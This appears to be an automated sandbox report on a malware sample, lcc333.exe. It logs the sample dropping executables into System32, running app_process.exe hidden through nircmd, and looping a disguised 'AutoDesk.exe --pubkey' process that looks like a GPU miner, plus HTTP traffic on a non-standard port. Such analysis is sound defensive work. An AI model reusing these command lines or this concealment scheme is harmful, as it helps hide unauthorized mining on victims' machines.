Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: lcc333.exe, 00000002.00000003.2491611998.000002B9372A3000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492290000.000002B93730F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491866704.000002B936B7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: C:\Users\user\Desktop\lcc333.exe

File read: C:\Users\user\Desktop\lcc333.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c play.bat
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Source: C:\Windows\System32\app_process.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"
Source: C:\Windows\System32\app_process.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c python.bat	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c play.bat	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\Desktop\lcc333.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Process created: C:\Windows\System32\app_process.exe "app_process.exe"	Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: nvcuda.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: nvml.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: nvcuda.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: nvml.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\app_process.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: lcc333.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: lcc333.exe

Static file information: File size 8547394 > 1048576

Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: lcc333.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: lcc333.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: lcc333.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source:	Binary string: c:\Projects\VS2005\NirCmd\x64\release\NirCmd.pdb source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp

Source: lcc333.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: lcc333.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: lcc333.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: lcc333.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: lcc333.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140007DE4 FreeLibrary,LoadLibraryA,GetProcAddress,memset,GetLastError,FreeLibrary,memset,CreateProcessA,GetLastError,FreeLibrary,

15_2_0000000140007DE4

Source: initial sample

Static PE information: section where entry point is pointing to: .|q6

Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: AutoDesk.exe.2.dr	Static PE information: section name: __nv_mod
Source: AutoDesk.exe.2.dr	Static PE information: section name: __nv_rel
Source: AutoDesk.exe.2.dr	Static PE information: section name: .nvFatBi
Source: AutoDesk.exe.2.dr	Static PE information: section name: .nv_fatb
Source: AutoDesk.exe.2.dr	Static PE information: section name: .`[w
Source: AutoDesk.exe.2.dr	Static PE information: section name: .[dL
Source: AutoDesk.exe.2.dr	Static PE information: section name: .\|q6

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\nircmd.exe	Jump to behavior
Source: C:\Windows\System32\nircmd.exe	Executable created and started: C:\Windows\System32\app_process.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\AutoDesk.exe

Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\nircmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\AutoDesk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\app_process.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI6122\libssl-3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\nircmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\AutoDesk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	File created: C:\Windows\System32\app_process.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 48080
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 50011

